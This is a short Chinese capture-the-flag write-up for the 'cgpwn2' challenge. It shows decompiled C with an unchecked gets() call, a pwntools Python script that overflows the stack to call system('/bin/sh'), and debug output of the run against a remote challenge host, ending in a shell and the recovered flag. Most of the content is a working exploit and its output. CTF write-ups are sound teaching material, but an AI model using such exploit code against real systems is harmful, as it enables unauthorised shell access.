

cgpwn2 攻防世界

将"/bin/sh"写入全局变量name，然后利用栈溢出执行system('/bin/sh')

```

1 char *hello()
2 {
3     char *v0; // eax
4     signed int v1; // ebx
5     unsigned int v2; // ecx
6     char *v3; // eax
7     char s; // [esp+12h] [ebp-26h]
8     int v6; // [esp+14h] [ebp-24h]
9
10    v0 = &s;
11    v1 = 30;
12    if ( (unsigned int)&s & 2 )
13    {
14        *(_WORD *)&s = 0;
15        v0 = (char *)&v6;
16        v1 = 28;
17    }
18    v2 = 0;
19    do
20    {
21        *(_DWORD *)&v0[v2] = 0;
22        v2 += 4;
23    }
24    while ( v2 < (v1 & 0xFFFFFFF0) );
25    v3 = &v0[v2];
26    if ( v1 & 2 )
27    {
28        *(_WORD *)v3 = 0;
29        v3 += 2;
30    }
31    if ( v1 & 1 )
32        *v3 = 0;
33    puts("please tell me your name");
34    fgets(name, 50, stdin);
35    puts("hello,you can leave some message here:");
36    return gets(&s);
37 }

```

Python

```
1 from pwn import *
2 context.log_level='debug'
3 p = remote('111.200.241.243',58668)
4 #p = process('./pwn')
5 elf = ELF('./pwn')
6 p.sendlineafter('name','/bin/sh')
7 sys_addr = elf.plt['system']
8 name_addr = 0x0804A080
9 payload = 'A'*0x26 + 'A'*0x04 + p32(sys_addr) + 'A'*0x04 + p32(name_addr)
10 p.sendlineafter('here:',payload)
11 p.interactive()
```

```
root@ams:/home/ams/ws/p3# python exp.py
[*] Opening connection to 111.200.241.243 on port 58668: Done
[DEBUG] PLT 0x80483e0 setbuf
[DEBUG] PLT 0x80483f0 gets
[DEBUG] PLT 0x8048400 fgets
[DEBUG] PLT 0x8048410 puts
[DEBUG] PLT 0x8048420 system
[DEBUG] PLT 0x8048430 __gmon_start__
[DEBUG] PLT 0x8048440 __libc_start_main
[*] '/home/ams/ws/p3/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x18 bytes:
'please tell me your name'
[DEBUG] Sent 0x8 bytes:
'/bin/sh\n'
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Received 0x27 bytes:
'hello,you can leave some message here:\n'
[DEBUG] Sent 0x37 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
*
00000020 41 41 41 41 41 41 41 41 41 41 20 04 04 08 41 41 |AAAA|AAAA|AA -|--AA|
00000030 41 41 80 a0 04 08 0a
00000037
[*] Switching to interactive mode

$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{b77936aaca0b46b6eef1e0d9859cef4f}\n'
cyberpeace{b77936aaca0b46b6eef1e0d9859cef4f}
```

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33    puts("please tell me your name");
34    fgets(name, 50, stdin);
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